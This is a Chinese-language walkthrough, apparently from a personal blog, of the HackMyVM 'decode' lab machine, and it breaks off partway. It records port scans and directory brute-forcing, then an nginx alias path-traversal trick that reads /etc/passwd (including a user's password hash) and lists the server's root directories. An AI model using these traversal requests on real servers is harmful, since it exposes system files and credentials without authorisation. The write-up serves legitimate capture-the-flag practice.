{"id":752,"date":"2024-07-11T03:30:18","date_gmt":"2024-07-10T19:30:18","guid":{"rendered":"http:\/\/162.14.82.114\/?p=752"},"modified":"2024-07-11T03:30:18","modified_gmt":"2024-07-10T19:30:18","slug":"hmv-_-decode","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/752\/07\/11\/2024\/","title":{"rendered":"hmv[-_-]decode"},"content":{"rendered":"

decode<\/h1>\n

\"image-20240710193356899\"<\/div>
\n
\"image-20240710194117367\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ rustscan -a $IP -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83c\udf0dHACK THE PLANET\ud83c\udf0d\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.163:22\nOpen 192.168.0.163:80\nPORT   STATE SERVICE REASON  VERSION\n22\/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)\n| ssh-hostkey: \n|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjRCpLEF00zJy\/GkOtP8umEO3vDUpsiovHmmmfKN5njf5d4aqXBW3wUjqVL3VotabyslG6gNZnaPODVt2z3MdHsyNBuJZrbRrN26Dmz3x6pzJPnizxq2AXGzfgL89jQi83yr72gb2FpxGXm8BqYTTXwbiF7NIi+ekTmRWBa6LUQHgirqggrUq5xdmj0lTu+lMQ2Tzy4xfL6BKgyg4IaZlO9Kz9Z02ghG6VDr2vV9aInO4gu\/i2nlvM+aErvWyREoqspjvhgPd0Q950AkOkKfjD5hHxLFZo7aR3PHJev+8zrKwsv\/6bUAQIl8nUYifu\/a+1vpSddyl37ikQNLY7RsCboBNtPryz7czF1UUtWMlICTHegrchZT3FEr+c5g51hEj+AkwwQoan2y8SCMhKIbWQQH0qBWNXnfNpKGS5y8Vn8s6KqZlsPq49\/k9Pmr0jplaqgKDrPuiddGOehu5Yh6Fg5jsk5c5zXttWY17TyJdeab1LBOBJMY2ur4ZnSh+zv7E=\n|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOAIZW58yN\/LbK35zNnyYvo4vNm1bnBkyDn4KzLYYyGBG2owUbmMp8WcmKWxT5ImSPDUE24mlhafaDEb8smp1Mc=\n|   256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB57U+4lDKyoTXGtTCBdDtmnL1YvIhNjQpbp\/tdjDYGx\n80\/tcp open  http    syn-ack nginx 1.18.0\n| http-robots.txt: 1 disallowed entry \n|_\/encode\/\n|_http-title: Welcome to nginx!\n|_http-server-header: nginx\/1.18.0\n| http-methods: \n|_  Supported Methods: GET HEAD\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.163\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              txt,html,php,zip,bak\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html           (Status: 200) [Size: 612]\n\/cgi-bin              (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/cgi-bin\/]\n\/1                    (Status: 200) [Size: 240]\n\/file.php             (Status: 200) [Size: 0]\n\/robots.txt           (Status: 200) [Size: 240]\nProgress: 30746 \/ 1323366 (2.32%)[ERROR] Get "http:\/\/192.168.0.163\/Adobe": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/842.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/842.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/Adobe.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 48330 \/ 1323366 (3.65%)[ERROR] Get "http:\/\/192.168.0.163\/hobbies.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/hobbies.bak": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/hobbies.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/hobbies.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/SourceCode.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 54637 \/ 1323366 (4.13%)[ERROR] Get "http:\/\/192.168.0.163\/1587": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/1899": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 58079 \/ 1323366 (4.39%)[ERROR] Get "http:\/\/192.168.0.163\/about2": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/about2.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/radiusd": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/radiusd.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 70933 \/ 1323366 (5.36%)[ERROR] Get "http:\/\/192.168.0.163\/ltw421.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/ltw421.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/ltw421.bak": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 77356 \/ 1323366 (5.85%)[ERROR] Get "http:\/\/192.168.0.163\/repo": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/repo.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/repo.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/repo.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/index-17.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/index-17.bak": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 82638 \/ 1323366 (6.24%)[ERROR] Get "http:\/\/192.168.0.163\/btnDutchWht.bak": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/btnDutchWht.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 86751 \/ 1323366 (6.56%)[ERROR] Get "http:\/\/192.168.0.163\/xml_front-10.bak": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.0.163\/xml_front-10.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 93820 \/ 1323366 (7.09%)^C\n[!] Keyboard interrupt detected, terminating.\nProgress: 94167 \/ 1323366 (7.12%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\u6253\u5f00\u5c31\u662f\u9ed8\u8ba4\u7684nginx<\/code>\u754c\u9762\u3002<\/p>\n
\u654f\u611f\u76ee\u5f55<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/$IP\/robots.txt                              \nUser-agent: decode\nDisallow: \/encode\/\n\nUser-agent: *\nAllow: \/\nAllow: \/decode\nAllow: ..\/\nAllow: \/index\nAllow: .shtml\nAllow: \/lfi..\/\nAllow: \/etc\/\nAllow: passwd\nAllow: \/usr\/\nAllow: share\nAllow: \/var\/www\/html\/\nAllow: \/cgi-bin\/\nAllow: decode.sh<\/code><\/pre>\n
\u5c1d\u8bd5\u6253\u5f00\uff0c\u53d1\u73b0\u90e8\u5206\u6253\u4e0d\u5f00\uff0c\u5c1d\u8bd5\u8fdb\u884cfuzz\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ ffuf -u http:\/\/$IP\/decode\/FUZZ -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-medium-files.txt        \n\n        \/'___\\  \/'___\\           \/'___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/192.168.0.163\/decode\/FUZZ\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-medium-files.txt\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\n.                       [Status: 200, Size: 657, Words: 82, Lines: 27, Duration: 19ms]\nindex.shtml             [Status: 200, Size: 657, Words: 82, Lines: 27, Duration: 6ms]\nmime.types              [Status: 200, Size: 70481, Words: 521, Lines: 2188, Duration: 118ms]<\/code><\/pre>\n
\u53d1\u73b0\u4e0d\u5bf9\u52b2\uff0c\u6ce8\u610f\u5230\u4e0a\u9762\u7684\u8bf7\u6c42\u5934\u8981\u6c42\u4e86\uff0c\u4fee\u6539\u8bf7\u6c42\u5934\u518d\u6b21\u8fdb\u884c\u8bf7\u6c42\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl -is -A "decode" http:\/\/$IP\/1            \nHTTP\/1.1 200 OK\nServer: nginx\/1.18.0\nDate: Wed, 10 Jul 2024 12:12:02 GMT\nContent-Type: application\/octet-stream\nTransfer-Encoding: chunked\nConnection: keep-alive\n\nUser-agent: decode\nDisallow: \/encode\/\n\nUser-agent: *\nAllow: \/\nAllow: \/decode\nAllow: ..\/\nAllow: \/index\nAllow: .shtml\nAllow: \/lfi..\/\nAllow: \/etc\/\nAllow: passwd\nAllow: \/usr\/\nAllow: share\nAllow: \/var\/www\/html\/\nAllow: \/cgi-bin\/\nAllow: decode.sh<\/code><\/pre>\n
\u4f46\u662f\u6ca1\u6709\u6253\u5f97\u5f00\u7684\uff0c\u5c1d\u8bd5\u5bf9\u5b50\u76ee\u5f55\u8fdb\u884c\u6f0f\u6d1e\u626b\u63cf\uff0c\u540c\u65f6\u52a0\u4e0a\u8bf7\u6c42\u5934\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ feroxbuster -u http:\/\/$IP\/decode -H "User-agent: decode" -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -d 2 -s 200 301 302 \n\n ___  ___  __   __     __      __         __   ___\n|__  |__  |__) |__) | \/  `    \/  \\ \\_\/ | |  \\ |__\n|    |___ |  \\ |  \\ | \\__,    \\__\/ \/ \\ | |__\/ |___\nby Ben "epi" Risher \ud83e\udd13                 ver: 2.10.4\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfaf  Target Url            \u2502 http:\/\/192.168.0.163\/decode\n \ud83d\ude80  Threads               \u2502 50\n \ud83d\udcd6  Wordlist              \u2502 \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n \ud83d\udc4c  Status Codes          \u2502 [200, 301, 302]\n \ud83d\udca5  Timeout (secs)        \u2502 7\n \ud83e\udda1  User-Agent            \u2502 feroxbuster\/2.10.4\n \ud83d\udc89  Config File           \u2502 \/etc\/feroxbuster\/ferox-config.toml\n \ud83e\udd2f  Header                \u2502 User-agent: decode\n \ud83d\udd0e  Extract Links         \u2502 true\n \ud83c\udfc1  HTTP methods          \u2502 [GET]\n \ud83d\udd03  Recursion Depth       \u2502 2\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfc1  Press [ENTER] to use the Scan Management Menu\u2122\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode => http:\/\/192.168.0.163\/decode\/\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/cgi-bin => http:\/\/192.168.0.163\/cgi-bin\/\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/default => http:\/\/192.168.0.163\/decode\/default\/\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/security => http:\/\/192.168.0.163\/decode\/security\/\n200      GET      361l     1773w    12813c http:\/\/192.168.0.163\/decode\/services\n200      GET       34l      111w      769c http:\/\/192.168.0.163\/decode\/profile\n200      GET        5l       36w      195c http:\/\/192.168.0.163\/decode\/modules\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/php => http:\/\/192.168.0.163\/decode\/php\/\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/network => http:\/\/192.168.0.163\/decode\/network\/\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/perl => http:\/\/192.168.0.163\/decode\/perl\/\n200      GET       57l       57w      758c http:\/\/192.168.0.163\/decode\/group\n200      GET       31l      171w     1032c http:\/\/192.168.0.163\/decode\/default\/networking\n200      GET        0l        0w        0c http:\/\/192.168.0.163\/decode\/environment\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/ssl => http:\/\/192.168.0.163\/decode\/ssl\/\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/ssh => http:\/\/192.168.0.163\/decode\/ssh\/\n200      GET        2l        5w       27c http:\/\/192.168.0.163\/decode\/issue\n200      GET        5l       21w      133c http:\/\/192.168.0.163\/decode\/default\/ssh\n200      GET        4l        6w       60c http:\/\/192.168.0.163\/decode\/networks\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/bluetooth => http:\/\/192.168.0.163\/decode\/bluetooth\/\n200      GET       20l      120w      846c http:\/\/192.168.0.163\/decode\/default\/bluetooth\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/kernel => http:\/\/192.168.0.163\/decode\/kernel\/\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/sv => http:\/\/192.168.0.163\/decode\/sv\/\n200      GET       28l      170w      955c http:\/\/192.168.0.163\/decode\/default\/cron\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/fonts => http:\/\/192.168.0.163\/decode\/fonts\/\n200      GET       64l      474w     2932c http:\/\/192.168.0.163\/decode\/protocols\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/sv\/ssh => http:\/\/192.168.0.163\/decode\/sv\/ssh\/\n301      GET        7l       11w      169c http:\/\/192.168.0.163\/decode\/vim => http:\/\/192.168.0.163\/decode\/vim\/\n[>-------------------] - 5m     38159\/3087681 9h      found:27      errors:0      \n200      GET       40l      117w      887c http:\/\/192.168.0.163\/decode\/rpc\n[>-------------------] - 6m     39951\/3087681 9h      found:28      errors:0      \n\ud83d\udea8 Caught ctrl+c \ud83d\udea8 saving scan state to ferox-http_192_168_0_163_decode-1720614044.state ...<\/code><\/pre>\n
\u592a\u6162\u4e86\uff0c\u5199\u4e2a\u811a\u672c\u8dd1\uff0c\u6211\u53bb\u519c\u4e00\u4f1a\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl -s -A "decode" http:\/\/$IP\/1 | grep "Allow" | awk -F '[: ]' '{print $3}'\n\/\n\/decode\n..\/\n\/index\n.shtml\n\/lfi..\/\n\/etc\/\npasswd\n\/usr\/\nshare\n\/var\/www\/html\/\n\/cgi-bin\/\ndecode.sh<\/code><\/pre>\n
\u4e2d\u95f4\u611f\u89c9\u6709\u70b9\u602a\uff0c\u968f\u4fbf\u5bf9\u811a\u672c\u8fdb\u884c\u4e86\u4e00\u4e9b\u63a2\u6d4b\uff0c\u627e\u5230\u4e86\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl -s http:\/\/192.168.0.163\/decode\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:101:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:113:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nsteve:$y$j9T$gbohHcbFkUEmW0d3ZeUx40$Xa\/DJJdFujIezo5lg9PDmswZH32cG6kAWP.crcqrqo\/:1001:1001::\/usr\/share:\/bin\/bash\ndecoder:x:1002:1002::\/home\/decoder:\/usr\/sbin\/nologin\najneya:x:1003:1003::\/home\/ajneya:\/bin\/bash<\/code><\/pre>\n
\u53d1\u73b0\u4e00\u4e2ahash\uff0c\u7206\u7834\u4e0d\u51fa\u6765\uff0c\u53e6\u5916steve\u662f\u5728\/usr\/share<\/code> \u7684\uff0c\u7ee7\u7eed\u63a2\u7d22\uff1a<\/p>\n
#!\/bin\/bash\nfor i in $(cat .\/dir.txt)\ndo    \n    for dir in $(cat .\/dir.txt)\n    do\n        echo "[+] URL:http:\/\/192.168.0.163\/$i$dir"\n        result=$(curl -is http:\/\/192.168.0.163\/$i$dir)\n        echo "URL => http:\/\/192.168.0.163\/$i$dir" >> result.txt\n        echo $result\n        clear\n        echo $result >> result.txt\n    done\ndone<\/code><\/pre>\n
\u67e5\u770b\u6587\u4ef6\uff0c\u53d1\u73b0\uff1a<\/p>\n
URL => http:\/\/192.168.0.163\/\/decodepasswd\n root:x:0:0:root:\/root:\/bin\/bash daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin sync:x:4:65534:sync:\/bin:\/bin\/sync games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin backup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin list:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin irc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin nobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin _apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin systemd-timesync:x:101:101:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin systemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin systemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin messagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin avahi-autoipd:x:105:113:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin sshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin systemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin steve:$y$j9T$gbohHcbFkUEmW0d3ZeUx40$Xa\/DJJdFujIezo5lg9PDmswZH32cG6kAWP.crcqrqo\/:1001:1001::\/usr\/share:\/bin\/bash decoder:x:1002:1002::\/home\/decoder:\/usr\/sbin\/nologin ajneya:x:1003:1003::\/home\/ajneya:\/bin\/bash\n......\nURL => http:\/\/192.168.0.163\/\/cgi-bin\/decode.sh\n DATE: Wed 10 Jul 2024 01:06:14 PM EDT PWD: \/var\/www\/html\/ CMD: ls -la total 24 drwxr-xr-x 2 www-data www-data 4096 Apr 15 2022 . drwxr-xr-x 3 root root 4096 Apr 11 2022 .. -rw-r--r-- 1 root root 240 Apr 15 2022 1 -rw-r--r-- 1 root root 22 Apr 14 2022 file.php -rw-r--r-- 1 root root 612 Apr 13 2022 index.html -rw-r--r-- 1 root root 240 Apr 15 2022 robots.txt<\/code><\/pre>\n
\u5f88\u5947\u602a\uff0c\u770b\u770b\u5565\u60c5\u51b5\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl -I http:\/\/192.168.0.163\/\/decode      \nHTTP\/1.1 301 Moved Permanently\nServer: nginx\/1.18.0\nDate: Wed, 10 Jul 2024 17:09:01 GMT\nContent-Type: text\/html\nLocation: http:\/\/192.168.0.163\/decode\/\nConnection: keep-alive<\/code><\/pre>\n
\u4f1a\u81ea\u52a8\u5728\u6700\u540e\u6dfb\u52a0\/<\/code>\uff0c\u6240\u4ee5decodepasswd<\/code>\u7b49\u6548\u4e8edecode\/passwd<\/code>\uff0c\u90a3\u4e48decode..\/<\/code>\u4e5f\u5c31\u7b49\u4e8edecode\/..\/<\/code><\/p>\n
\u7ee7\u7eed\u770b\u53e6\u4e00\u4e2a\uff01<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ curl http:\/\/192.168.0.163\/\/cgi-bin\/decode.sh \nDATE: Wed 10 Jul 2024 01:11:37 PM EDT\n\nPWD: \/var\/www\/html\/\nCMD: ls -la\n\ntotal 24\ndrwxr-xr-x 2 www-data www-data 4096 Apr 15  2022 .\ndrwxr-xr-x 3 root     root     4096 Apr 11  2022 ..\n-rw-r--r-- 1 root     root      240 Apr 15  2022 1\n-rw-r--r-- 1 root     root       22 Apr 14  2022 file.php\n-rw-r--r-- 1 root     root      612 Apr 13  2022 index.html\n-rw-r--r-- 1 root     root      240 Apr 15  2022 robots.txt<\/code><\/pre>\n
\u6240\u4ee5\u6211\u4eec\u5f97\u5230\u7684\/etc\/passwd<\/code>\u80af\u5b9a\u662f\u4ece\u522b\u7684\u76ee\u5f55\u8bfb\u5230\u7684\uff01<\/p>\n
\u5c1d\u8bd5\u641c\u7d22\u4e00\u4e0b\u76ee\u5f55\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/decode]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/decode.. -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -H "User-Agent: decode" -q\n\/home                 (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/home\/]\n\/media                (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/media\/]\n\/bin                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/bin\/]\n\/lib                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/lib\/]\n\/dev                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/dev\/]\n\/etc                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/etc\/]\n\/root                 (Status: 403) [Size: 153]\n\/tmp                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/tmp\/]\n\/sys                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/sys\/]\n\/var                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/var\/]\n\/usr                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/usr\/]\n\/run                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/run\/]\n\/boot                 (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/boot\/]\n\/opt                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/opt\/]\n\/srv                  (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/srv\/]\n\/proc                 (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/proc\/]\n\/sbin                 (Status: 301) [Size: 169] [--> http:\/\/192.168.0.163\/decode..\/sbin\/]<\/code><\/pre>\n
\u5c1d\u8bd5\u641c\u7d22\u4e00\u4e0b\uff0c\u521a\u521a\u627e\u5230\u7684\u51e0\u4e2a\u7528\u6237\uff1a<\/p>\n
